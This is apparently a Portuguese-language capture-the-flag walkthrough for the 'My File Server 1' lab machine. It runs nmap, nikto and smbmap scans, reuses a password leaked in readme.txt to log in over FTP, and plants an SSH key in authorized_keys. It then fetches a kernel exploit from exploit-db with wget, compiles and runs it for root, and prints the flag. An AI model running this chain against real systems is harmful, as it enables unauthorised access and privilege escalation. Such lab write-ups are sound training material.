# Simulado 2 - My File Server 1

Achar o ip da maquina:

```
arp -a
sudo arp-scan --localnet
```

Conferir os resultados e comparar com o endereço MAC no vmBox

192.168.10.7 ou 192.168.10.6

ports abertos:

```
sudo nmap -v  -sVT -O 192.168.10.7
sudo nmap -sV --script vuln 192.168.10.7
nmap -sC -sV -A 192.168.10.6
```

portas abertas:
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
445/tcp open microsoft-ds
2049/tcp open nfs
2121/tcp open ccproxy-ftp

checar o myfileserver.com ou http://192.168.10.6 (da na mesma do comando abaixo)
$ nikto --url http://192.168.10.6 encontrou várias informações web, inclusive um readme.txt

acessando http://192.168.10.6/readme.txt apareceu: My Password is **rootroot1**
mas ainda não sei para que é a senha

a porta 445 é a porta do SAMBA, smb então

```
$smbmap -H 192.168.10.6
```

IP: 192.168.10.6:445 Name: 192.168.10.6 Status: Authenticated
Disk Permissions Comment

---- ---------- -------
print$ NO ACCESS Printer Drivers
smbdata READ, WRITE smbdata
smbuser NO ACCESS smbuser
IPC$ NO ACCESS IPC Service (Samba 4.9.1)

a porta 22 também está aberta e pelo scan podemos ver q ela tem um rsa 2048
gera uma chave com $ ssh-keygen -b 2048 (?)

entra no ftp que ta aberto na porta 21:

```
$ ftp 192.168.10.6
user: smbuser
password: rootroot1
```

cria um diretório .ssh e adiciona dentro dele a chave criada anteriormente (talvez seja necessário arrumar as configurações do ftp, eu precisei dar uns comando pra mudar o modo do ftp antes)

```
ftp> passive
ftp>epsv
ftp> put /home/kali/.ssh/id_ed25519.pub authorized_keys
$ ssh smbuser@192.168.10.6
```

os comandos abaixo retoram uma string "3.10.0-229.el7.x86_64"

```
[smbuser@fileserver ~]$ uname -a
[smbuser@fileserver ~]$ uname -r
```

Pega essa vulnerabilidade não sei de onde e salva ela na pasta tmp pra executar e conseguir escalar privilegio

```
cd /tmp
wget https://www.exploit-db.com/download/40616 -O exploit.c
gcc -o kernal-exploit -pthread exploit.c
chmod +x kernal-exploit
./kernal-exploit
```

```
cd /root
cat proof.txt
```

Então encontramos a flag no arquivo proof.txt:

```
Best of Luck
af52e0163b03cbf7c6dd146351594a43
```